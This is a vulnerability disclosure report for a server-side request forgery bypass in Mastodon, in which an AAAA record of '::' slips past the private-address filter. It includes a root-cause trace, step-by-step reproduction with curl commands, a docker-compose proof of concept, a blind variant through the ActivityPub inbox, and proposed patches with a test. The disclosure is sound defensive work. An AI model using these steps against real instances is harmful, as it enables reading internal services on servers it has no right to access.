ANT-2026-6DSMTXZ8 · mastodon
ssrf high
Severity Claude high · Security research firm high · Maintainer unknown
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.
ANT-2026-6DSMTXZ8: SSRF Bypass via IPv6 Unspecified Address (::) in Mastodon
Mastodon routes all outbound HTTP through Request::Socket, which validates resolved IPs with PrivateAddressCheck.private_address?. That check blocks 0.0.0.0/8 and ::1 but omits ::/128, so an attacker-controlled hostname with an AAAA record of :: passes the filter. On Linux, connect() to :: is routed to the loopback interface, so the server issues the request to [::1]:PORT. Any registered user (via link preview, profile link verification, or search) — or an unauthenticated remote actor via ActivityPub federation — can trigger this to read internal HTTP services, with responses partially exfiltrated through PreviewCard OpenGraph fields rendered in the timeline.
Target
Project: mastodon
Commit: c832fb3291f25d8b
Location: app/lib/private_address_check.rb:33
Discovery: static analysis — not yet dynamically reproduced
Technical Details
For IPAddr.new("::"), all four predicates in private_address? return false: it is not private?, not loopback?, not link_local?, and ::/128 is absent from CIDR_LIST (the IPv4-mapped entry ::ffff:0.0.0.0/104 does not cover ::). The DNS resolution branch in Request::Socket.open returns a Resolv::IPv6 object, so an AF_INET6 socket is correctly created and connect_nonblock(::) succeeds, reaching ::1. The literal-URL path http://[::]/ is only accidentally blocked by an unrelated is_a?(Resolv::IPv6) type bug, which is not a security control.
Reproduction
- Register evil.example and publish AAAA evil.example -> ::
- POST /api/v1/statuses with body containing http://evil.example:PORT/path (or set it as a profile link, search @user@evil.example, or deliver an ActivityPub object referencing the URL)
- LinkCrawlWorker / FetchLinkCardService calls Request.new(:get, url).perform
- Request::Socket.open resolves evil.example via Resolv::DNS -> [Resolv::IPv6 ::]
- check_private_address(::) returns false — filter bypassed
- AF_INET6 socket connects to ::, kernel routes to ::1; GET /path is sent to the internal service
- Response is parsed for og:title/og:description/og:image, stored in preview_cards, and rendered in the attacker's timeline
[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-6DSMTXZ8.
Reference: ANT-2026-6DSMTXZ8
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy
Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Vulnerability Report
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | SSRF Bypass via IPv6 Unspecified Address (::) in PrivateAddressCheck |
| Severity Rating | High |
| Bug Category | Server-Side Request Forgery (SSRF) — Incomplete Blocklist |
| Location | app/lib/private_address_check.rb:19, app/lib/request.rb:332–338 |
| Affected Versions | All current versions (confirmed on v4.5.9) |
Executive Summary
Mastodon's SSRF protection (PrivateAddressCheck) blocks the IPv4 unspecified address (0.0.0.0/8) but omits its IPv6 equivalent (::/128). On Linux, a TCP connect() to :: is routed by the kernel to ::1, reaching any service bound to localhost. An attacker registers a domain with an AAAA record of :: and posts a link to it; Mastodon's Sidekiq worker resolves the hostname via DNS, receives the :: address, passes it through the SSRF guard (which returns false for ::), and connects to [::1] — reaching internal services on the Mastodon server. The HTTP response is parsed for OpenGraph tags and stored in the preview_cards database table, giving the attacker a direct read channel for internal service content. The only server-side precondition is that the host has a non-loopback IPv6 address, which is the default on all major cloud providers (AWS, GCP, Azure, Hetzner, DigitalOcean, and others).
Root Cause Analysis
Technical Description
PrivateAddressCheck is Mastodon's SSRF blocklist, invoked for every outbound HTTP request. The private_address? method at app/lib/private_address_check.rb:33 applies four checks to the resolved IP address:
# app/lib/private_address_check.rb:33
def private_address?(address)
address.private? || address.loopback? || address.link_local? || CIDR_LIST.any? { |cidr| cidr.include?(address) }
end
CIDR_LIST is built at line 19 and explicitly includes 0.0.0.0/8 (and its IPv4-mapped form ::ffff:0.0.0.0/104) to block the IPv4 unspecified address. The IPv6 equivalent, ::/128, is not present. All four sub-checks return false for IPAddr.new("::"):
| Check | Result | Reason |
|---|---|---|
address.private? |
false |
:: is not in fc00::/7 |
address.loopback? |
false |
:: ≠ ::1 |
address.link_local? |
false |
:: is not in fe80::/10 |
CIDR_LIST.any? |
false |
::/128 is absent; ::ffff:0.0.0.0/104 does not cover :: |
Note that ::ffff:0.0.0.0 is 0000:0000:0000:0000:0000:ffff:0000:0000, a completely different bit pattern from :: (0000:0000:0000:0000:0000:0000:0000:0000). The mapping covers IPv4-mapped addresses, not the unspecified address.
When an attacker-controlled hostname resolves via DNS to Resolv::IPv6(::), check_private_address at request.rb:332 converts it to IPAddr.new("::"), calls private_address? (which returns false), and allows the connection to proceed. Linux then routes connect(AF_INET6, ::, port) to ::1, reaching any HTTP service bound to localhost on the Mastodon host.
Trace Analysis
Key code locations for the primary (link preview) attack path:
app/services/post_status_service.rb:155 ← LinkCrawlWorker.perform_async — link fetch queued after status creation
app/services/fetch_link_card_service.rb:54 ← Request.new(:get, @url).perform — outbound HTTP initiated
app/lib/request.rb:268 ← Resolv::DNS.getaddresses(host) — DNS returns [Resolv::IPv6(::)]
app/lib/request.rb:277 ← check_private_address(Resolv::IPv6(::), host) — SSRF guard invoked
app/lib/request.rb:337 ← PrivateAddressCheck.private_address?(IPAddr("::")) → false — BYPASS
app/lib/request.rb:284 ← sock.connect_nonblock(..., "::") — kernel routes to ::1
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | Low — a registered user account, trivially obtained on any open-registration instance |
| User interaction required | None — Sidekiq fetches the link automatically upon status creation |
| Reachable in default config | Yes — requires a non-loopback IPv6 address on the server, which is the default on all major cloud providers |
| Entry point(s) | Status post containing a link to an attacker-controlled domain with AAAA record ::. Additional vectors: remote account resolution (/api/v2/search?resolve=true), profile link verification, inbound ActivityPub federation (unauthenticated — see below) |
Sinks
The attacker achieves a GET-only read SSRF against any HTTP service bound to [::1] or :: on the Mastodon server. There is no request body control, no HTTP method control, and header injection is limited to Host (indirectly, via hostname choice). For services serving HTML responses, the exfiltration channel is the link preview card: OpenGraph meta tags (og:title, og:description, og:author, og:site_name) and JSON-LD <script> blocks are parsed from the response and stored in the preview_cards table with no application-level size limits on most string fields. The attacker reads the exfiltrated data from GET /api/v1/statuses/{id}.
A secondary exfiltration path exists via oEmbed: if the fetched page contains a <link rel="alternate" type="application/json+oembed"> tag, FetchOEmbedService issues a second GET request to that URL — which can also point to a [::1]-bound service — enabling two-hop SSRF with additional fields extracted from the JSON body.
Additionally, an unauthenticated blind SSRF variant exists via POST /inbox: the Signature header's keyId field is attacker-controlled and is used to make an outbound key-fetch request via ActivityPub::FetchRemoteKeyService → Request.new, which passes through the same vulnerable PrivateAddressCheck. This vector requires no Mastodon account; it enables port scanning and GET-triggered side effects on [::1] but does not support data exfiltration (the response must be valid ActivityPub JSON to propagate further).
Reproduction Steps
Environment
| OS / version | Linux with a non-loopback IPv6 address configured |
|---|---|
| Target version | Mastodon v4.5.9 |
| DNS prerequisite | local.doyentesting.com AAAA record resolves to :: (configured by the reporter) |
Setup
The poc/ directory contains a docker-compose.yml based on the official Mastodon v4.5.9 compose file with three modifications:
- IPv6 enabled on both Docker networks (
enable_ipv6: true). poc/page.html— a sample HTML page with OpenGraph tags, representing a localhost-only internal resource — is mounted read-only into the Sidekiq container at/tmp/srv/page.html.- The Sidekiq container's startup command launches a WEBrick HTTP server (
ruby -run -e httpd /tmp/srv/ -p 8000) in the background before starting Sidekiq. This simulates an internal service accessible on port 8000 within the container.
Set up the instance on an IPv6-connected machine as you would a standard Mastodon deployment:
cd poc/
touch .env.production
docker compose up -d db redis
# Complete the setup wizard
docker compose run --rm web bundle exec rake db:setup
docker compose up -d
Trigger
Once the instance is running, post a status containing the target URL. This can be done via the Mastodon web UI or the API:
# Post a status linking to local.doyentesting.com (AAAA → ::)
curl -s -X POST https://YOUR_MASTODON_HOST/api/v1/statuses \
-H "Authorization: Bearer $USER_TOKEN" \
-F "status=http://local.doyentesting.com:8000/page.html"
Wait a few seconds for Sidekiq to process the link preview, then retrieve the status:
curl -s "https://YOUR_MASTODON_HOST/api/v1/statuses/$STATUS_ID" | jq '.card'
Expected output
The card field of the status will contain data fetched from the Sidekiq container's internal HTTP server — content that is not accessible from outside the container:
{
"url": "http://local.doyentesting.com:8000/page.html",
"title": "Secret Page",
"description": "This is a super secret page exposed only on localhost."
}
The values "Secret Page" and "This is a super secret page exposed only on localhost." originate from og:title and og:description in poc/page.html — a file mounted inside the Sidekiq container that is not reachable by any direct external request.
PoC files
poc/docker-compose.yml— Mastodon v4.5.9 setup with IPv6 enabled and the internal HTTP server configured in the Sidekiq containerpoc/page.html— simulated internal page (benign — contains OpenGraph tags with the placeholder text shown above)
Recommended Fix
Option 1 (preferred): Add ::/128 to CIDR_LIST
Add the IPv6 unspecified address to the hard-coded blocklist in app/lib/private_address_check.rb:19, mirroring the existing 0.0.0.0/8 entry for IPv4:
CIDR_LIST = (IP4_CIDR_LIST + IP4_CIDR_LIST.map(&:ipv4_mapped) + [
IPAddr.new('::/128'), # IPv6 unspecified — routes to ::1 on Linux
IPAddr.new('64:ff9b::/96'),
IPAddr.new('100::/64'),
# ... rest unchanged
]).freeze
A regression test to prevent this gap from re-opening:
# spec/lib/private_address_check_spec.rb
describe PrivateAddressCheck do
describe '.private_address?' do
it 'blocks the IPv6 unspecified address' do
expect(described_class.private_address?(IPAddr.new('::'))).to be true
end
end
end
Option 2 (defense in depth): Fix the type-confusion bug at app/lib/request.rb:279 where address.is_a?(Resolv::IPv6) is always false for literal-IP URLs (which return an IPAddr, not a Resolv::IPv6). This bug currently happens to block literal http://[::]:PORT/ URLs as an unintended side effect, but it is not a security control and should be fixed alongside Option 1:
# BEFORE (request.rb:279)
sock = ::Socket.new(address.is_a?(Resolv::IPv6) ? ::Socket::AF_INET6 : ::Socket::AF_INET, ...)
# AFTER
af = case address
when Resolv::IPv6 then ::Socket::AF_INET6
when Resolv::IPv4 then ::Socket::AF_INET
when IPAddr then address.ipv6? ? ::Socket::AF_INET6 : ::Socket::AF_INET
end
sock = ::Socket.new(af, ::Socket::SOCK_STREAM, 0)
We also recommend auditing PrivateAddressCheck::CIDR_LIST against the full IANA IPv6 Special-Purpose Address Registry for any other gaps (e.g., 64:ff9b:1::/48, RFC 8215 local-use IPv4/IPv6 translation).
Patch provenance: AI-generated + Human-reviewed
References
- CWE-918: Server-Side Request Forgery (SSRF)
- IANA IPv6 Special-Purpose Address Registry
- Anthropic CVD Policy
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Savio at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Attachment: poc/.env.production
Attachment: poc/docker-compose.yml
name: mastodon-ssrf-poc
services:
db:
restart: always
image: postgres:14-alpine
shm_size: 256mb
env_file: .env.production
networks:
- internal_network
healthcheck:
test: ['CMD', 'pg_isready', '-U', 'postgres']
volumes:
- postgres14:/var/lib/postgresql/data
environment:
- 'POSTGRES_HOST_AUTH_METHOD=trust'
redis:
restart: always
image: redis:7-alpine
networks:
- internal_network
healthcheck:
test: ['CMD', 'redis-cli', 'ping']
volumes:
- redis:/data
web:
image: ghcr.io/mastodon/mastodon:v4.5.9
restart: always
env_file: .env.production
command: bundle exec puma -C config/puma.rb
networks:
- external_network
- internal_network
healthcheck:
# prettier-ignore
test: ['CMD-SHELL',"curl -s --noproxy localhost localhost:3000/health | grep -q 'OK' || exit 1"]
ports:
- '127.0.0.1:3000:3000'
depends_on:
- db
- redis
volumes:
- public:/mastodon/public/system
streaming:
image: ghcr.io/mastodon/mastodon-streaming:v4.5.9
restart: always
env_file: .env.production
command: node ./streaming/index.js
networks:
- external_network
- internal_network
healthcheck:
# prettier-ignore
test: ['CMD-SHELL', "curl -s --noproxy localhost localhost:4000/api/v1/streaming/health | grep -q 'OK' || exit 1"]
ports:
- '127.0.0.1:4000:4000'
depends_on:
- db
- redis
sidekiq:
image: ghcr.io/mastodon/mastodon:v4.5.9
restart: always
env_file: .env.production
command: bash -c 'nohup ruby -run -e httpd /tmp/srv/ -p 8000 & bundle exec sidekiq'
depends_on:
- db
- redis
networks:
- external_network
- internal_network
volumes:
- public:/mastodon/public/system
- ./page.html:/tmp/srv/page.html:ro
healthcheck:
test: ['CMD-SHELL', "ps aux | grep '[s]idekiq\ 8' || false"]
networks:
external_network:
driver: bridge
enable_ipv6: true
internal_network:
internal: true
enable_ipv6: true
volumes:
postgres14:
redis:
public:
Attachment: poc/page.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My Simple Page</title>
<meta name="description" content="This is a super secret page exposed only on localhost.">
<meta property="og:title" content="Secret Page">
<meta property="og:description" content="This is a super secret page exposed only on localhost..">
<meta property="og:type" content="website">
<style>
body {
font-family: Arial, sans-serif;
max-width: 720px;
margin: 60px auto;
padding: 0 20px;
line-height: 1.5;
}
</style>
</head>
<body>
<h1>Hello</h1>
<p>This is a secret HTML page exposed on localhost.</p>
</body>
</html>
Dates from discovery through public reveal.
- 2026-03-30 Reported to tracker
- 2026-04-23 Sent to maintainer
- 2026-05-07 Maintainer acknowledged
- 2026-05-15 Patch released
- 2026-05-20 Publicly revealed
SHA-3-512 hash:
868595c9247644d3902e1edcb8d502294a9a9cdfa37d38bc25ed6063dc37fcdc447494225eccdff02df7e7abd198eeb8cdad62dd274b7141939bcf342ce1f594
Committed 2026-04-23 00:04 PT
Revealed 2026-05-20 11:00 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-6DSMTXZ8",
"bug_class": "SSRF",
"claude_severity": "high",
"commit_sha": "c832fb3291f25d8b",
"created_at": "2026-03-30T23:19:45+00:00",
"description": "Mastodon routes all outbound HTTP through Request::Socket, which validates resolved IPs with PrivateAddressCheck.private_address?. That check blocks 0.0.0.0/8 and ::1 but omits ::/128, so an attacker-controlled hostname with an AAAA record of `::` passes the filter. On Linux, connect() to `::` is routed to the loopback interface, so the server issues the request to [::1]:PORT. Any registered user (via link preview, profile link verification, or search) — or an unauthenticated remote actor via ActivityPub federation — can trigger this to read internal HTTP services, with responses partially exfiltrated through PreviewCard OpenGraph fields rendered in the timeline.",
"discovered_at": null,
"location": "app/lib/private_address_check.rb:33",
"poc_sha256": "eb600e7800bc9aa3dc23a5a346ac7a315ab684d25c8cd4a0c9bfd2293308630b",
"preimage_version": 1,
"project": "mastodon",
"reproduction": [
"1. Register evil.example and publish AAAA evil.example -> ::",
"2. POST /api/v1/statuses with body containing http://evil.example:PORT/path (or set it as a profile link, search @user@evil.example, or deliver an ActivityPub object referencing the URL)",
"3. LinkCrawlWorker / FetchLinkCardService calls Request.new(:get, url).perform",
"4. Request::Socket.open resolves evil.example via Resolv::DNS -> [Resolv::IPv6 ::]",
"5. check_private_address(::) returns false — filter bypassed",
"6. AF_INET6 socket connects to ::, kernel routes to ::1; GET /path is sent to the internal service",
"7. Response is parsed for og:title/og:description/og:image, stored in preview_cards, and rendered in the attacker's timeline"
],
"technical_details": "For IPAddr.new(\"::\"), all four predicates in private_address? return false: it is not private?, not loopback?, not link_local?, and ::/128 is absent from CIDR_LIST (the IPv4-mapped entry ::ffff:0.0.0.0/104 does not cover ::). The DNS resolution branch in Request::Socket.open returns a Resolv::IPv6 object, so an AF_INET6 socket is correctly created and connect_nonblock(::) succeeds, reaching ::1. The literal-URL path http://[::]/ is only accidentally blocked by an unrelated is_a?(Resolv::IPv6) type bug, which is not a security control.",
"title": "SSRF Bypass via IPv6 Unspecified Address (`::`) in Mastodon",
"vendor_severity": "high"
}